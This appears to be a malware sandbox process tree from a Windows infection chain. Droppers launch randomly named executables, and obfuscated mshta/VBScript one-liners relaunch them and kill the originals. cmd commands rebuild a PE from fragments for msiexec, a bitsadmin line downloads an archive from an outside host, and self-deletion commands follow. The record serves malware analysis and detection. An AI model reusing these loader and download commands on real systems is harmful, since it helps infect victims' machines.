                                                                                                                                                    PID:1520
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b2tnyx4r.jo2\GcleanerEU.exe /eufive & exit
                                                                                                                                                      8⤵
                                                                                                                                                        PID:6268
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\b2tnyx4r.jo2\GcleanerEU.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\b2tnyx4r.jo2\GcleanerEU.exe /eufive
                                                                                                                                                          9⤵
                                                                                                                                                            PID:6804
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qvz0r5jz.5io\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                          8⤵
                                                                                                                                                            PID:4900
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\qvz0r5jz.5io\installer.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\qvz0r5jz.5io\installer.exe /qn CAMPAIGN="654"
                                                                                                                                                              9⤵
                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                                                              PID:5788
                                                                                                                                                              • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\qvz0r5jz.5io\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\qvz0r5jz.5io\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1634657698 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                                                                                                                                10⤵
                                                                                                                                                                  PID:4732
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4srh4hcg.4or\any.exe & exit
                                                                                                                                                              8⤵
                                                                                                                                                              • Blocklisted process makes network request
                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                              PID:3696
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\4srh4hcg.4or\any.exe
                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\4srh4hcg.4or\any.exe
                                                                                                                                                                9⤵
                                                                                                                                                                  PID:6548
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5iqa2ca1.33b\gcleaner.exe /mixfive & exit
                                                                                                                                                                8⤵
                                                                                                                                                                  PID:4060
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\5iqa2ca1.33b\gcleaner.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\5iqa2ca1.33b\gcleaner.exe /mixfive
                                                                                                                                                                    9⤵
                                                                                                                                                                      PID:7808
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\c3jmyyky.jqj\autosubplayer.exe /S & exit
                                                                                                                                                                    8⤵
                                                                                                                                                                      PID:7896
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\c3jmyyky.jqj\autosubplayer.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\c3jmyyky.jqj\autosubplayer.exe /S
                                                                                                                                                                        9⤵
                                                                                                                                                                          PID:8464
                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsa7D2E.tmp\tempfile.ps1"
                                                                                                                                                                            10⤵
                                                                                                                                                                              PID:6772
                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsa7D2E.tmp\tempfile.ps1"
                                                                                                                                                                              10⤵
                                                                                                                                                                                PID:5160
                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsa7D2E.tmp\tempfile.ps1"
                                                                                                                                                                                10⤵
                                                                                                                                                                                  PID:8608
                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsa7D2E.tmp\tempfile.ps1"
                                                                                                                                                                                  10⤵
                                                                                                                                                                                    PID:4784
                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsa7D2E.tmp\tempfile.ps1"
                                                                                                                                                                                    10⤵
                                                                                                                                                                                      PID:6564
                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsa7D2E.tmp\tempfile.ps1"
                                                                                                                                                                                      10⤵
                                                                                                                                                                                        PID:8556
                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsa7D2E.tmp\tempfile.ps1"
                                                                                                                                                                                        10⤵
                                                                                                                                                                                          PID:8308
                                                                                                                                                                                        • C:\Windows\SysWOW64\bitsadmin.exe
                                                                                                                                                                                          "bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z
                                                                                                                                                                                          10⤵
                                                                                                                                                                                          • Download via BitsAdmin
                                                                                                                                                                                          PID:6320
                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\c3DOh_fdNoxQIYyhHBWeTIAE.exe
                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\c3DOh_fdNoxQIYyhHBWeTIAE.exe"
                                                                                                                                                                              4⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              PID:5340
                                                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\c3DOh_fdNoxQIYyhHBWeTIAE.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\c3DOh_fdNoxQIYyhHBWeTIAE.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:3904
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\c3DOh_fdNoxQIYyhHBWeTIAE.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\c3DOh_fdNoxQIYyhHBWeTIAE.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:6308
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
                                                                                                                                                                                        ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
                                                                                                                                                                                        7⤵
                                                                                                                                                                                          PID:6940
                                                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                            "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                                                                            8⤵
                                                                                                                                                                                              PID:7064
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                                                                                9⤵
                                                                                                                                                                                                  PID:4980
                                                                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                "C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )
                                                                                                                                                                                                8⤵
                                                                                                                                                                                                  PID:6660
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC
                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                      PID:6184
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                          PID:6860
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                            PID:6044
                                                                                                                                                                                                          • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                            msiexec -Y ..\lXQ2g.WC
                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                            PID:7836
                                                                                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                      taskkill -f -iM "c3DOh_fdNoxQIYyhHBWeTIAE.exe"
                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                      PID:3732
                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\9lL1DarlMtvEAlPL8ZwmOJnL.exe
                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\9lL1DarlMtvEAlPL8ZwmOJnL.exe"
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                PID:3036
                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\kDg1AQml78yZGld30Y5Hj0rK.exe
                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\kDg1AQml78yZGld30Y5Hj0rK.exe" /mixtwo
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                PID:5668
                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 648
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                  PID:3904
                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 664
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                  PID:4200
                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 668
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                  PID:6232
                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 672
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                  PID:6560
                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 872
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                  PID:3924
                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 920
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                  PID:6560
                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 1092
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                  PID:5824
                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\F_8WGULjN0_LNVdECOACjHon.exe
                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\F_8WGULjN0_LNVdECOACjHon.exe"
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                PID:5128
                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\WM8pSqEZdp97bSmSN1gWYxd6.exe
                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\WM8pSqEZdp97bSmSN1gWYxd6.exe"
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                PID:2292
                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\hZUgHmtss76twL1zJIlU0s6h.exe
                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\hZUgHmtss76twL1zJIlU0s6h.exe"
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                PID:2744
                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\etedtquXHfqcAZZOT3GdUlrq.exe
                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\etedtquXHfqcAZZOT3GdUlrq.exe"
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:4440
                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\fzsD2Aq9f8R8eyIvLsgvbQIM.exe
                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\fzsD2Aq9f8R8eyIvLsgvbQIM.exe"
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                              PID:1768
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\build.exe
                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\build.exe"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                PID:4628
                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4628 -s 1636
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                  PID:5536
                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\0gCurPJ7MWWsmPScXPPyxz4v.exe
                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\0gCurPJ7MWWsmPScXPPyxz4v.exe"
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                                                                              • Identifies Wine through registry keys
                                                                                                                                                                                              • Adds Run key to start application
                                                                                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                              PID:1772
                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\0gCurPJ7MWWsmPScXPPyxz4v.exe
                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\0gCurPJ7MWWsmPScXPPyxz4v.exe"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:4176
                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\0gCurPJ7MWWsmPScXPPyxz4v.exe
                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\0gCurPJ7MWWsmPScXPPyxz4v.exe"
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:6660
                                                                                                                                                                                                      • C:\Windows\SchCache\Viloxaehede.exe
                                                                                                                                                                                                        "C:\Windows\SchCache\Viloxaehede.exe"
                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                          PID:4064
                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\zEiZgroW4dNEsKvbAkOlCaIT.exe
                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\zEiZgroW4dNEsKvbAkOlCaIT.exe"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                    PID:1796
                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\zEiZgroW4dNEsKvbAkOlCaIT.exe
                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\zEiZgroW4dNEsKvbAkOlCaIT.exe"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      PID:2952
                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\zEiZgroW4dNEsKvbAkOlCaIT.exe
                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\zEiZgroW4dNEsKvbAkOlCaIT.exe"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      PID:4868
                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\YHmyS2iUFe7fqGiCv7ySbQFz.exe
                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\YHmyS2iUFe7fqGiCv7ySbQFz.exe"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                                    PID:2324
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im YHmyS2iUFe7fqGiCv7ySbQFz.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\YHmyS2iUFe7fqGiCv7ySbQFz.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:4584
                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                          taskkill /im YHmyS2iUFe7fqGiCv7ySbQFz.exe /f
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                          PID:6332
                                                                                                                                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                          timeout /t 6
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                          PID:4352
                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\jsR5TeG9aBgSNX5NZFstBdam.exe
                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\jsR5TeG9aBgSNX5NZFstBdam.exe"
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                      PID:1728
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c taskkill /im jsR5TeG9aBgSNX5NZFstBdam.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\jsR5TeG9aBgSNX5NZFstBdam.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:5484
                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                            taskkill /im jsR5TeG9aBgSNX5NZFstBdam.exe /f
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                            PID:6316
                                                                                                                                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                            timeout /t 6
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                            PID:7524
                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\4CzJu6YKCJ4pPly2l8kNydV0.exe
                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\4CzJu6YKCJ4pPly2l8kNydV0.exe"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                                                                        • Checks whether UAC is enabled
                                                                                                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                        PID:1864
                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\mX355Hm0PjdFXobjjlXBRmHZ.exe
                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\mX355Hm0PjdFXobjjlXBRmHZ.exe"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                        PID:1216
                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\mX355Hm0PjdFXobjjlXBRmHZ.exe
                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\mX355Hm0PjdFXobjjlXBRmHZ.exe"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          PID:400
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 400 -s 924
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                            PID:5896
                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\m2CzoNAGAQm3EufghD2smY3n.exe
                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\m2CzoNAGAQm3EufghD2smY3n.exe"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        PID:3284
                                                                                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                          "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\m2CzoNAGAQm3EufghD2smY3n.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\m2CzoNAGAQm3EufghD2smY3n.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:4140
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\m2CzoNAGAQm3EufghD2smY3n.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\m2CzoNAGAQm3EufghD2smY3n.exe" ) do taskkill -im "%~NxK" -F
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:4864
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\8pWB.eXE
                                                                                                                                                                                                                  8pWB.eXe /pO_wtib1KE0hzl7U9_CYP
                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                  PID:2128
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                    "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                      PID:5076
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F
                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                          PID:5716
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                        "C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ( "WSCRIPt.SheLl" ). rUn ( "C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " , 0 , TruE ) )
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                          PID:440
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY
                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                              PID:3088
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" EcHO "
                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                  PID:6740
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"
                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                    PID:6796
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                    msiexec.exe -y .\N3V4H8H.SXY
                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                    PID:2980
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                              taskkill -im "m2CzoNAGAQm3EufghD2smY3n.exe" -F
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                              • Kills process with taskkill
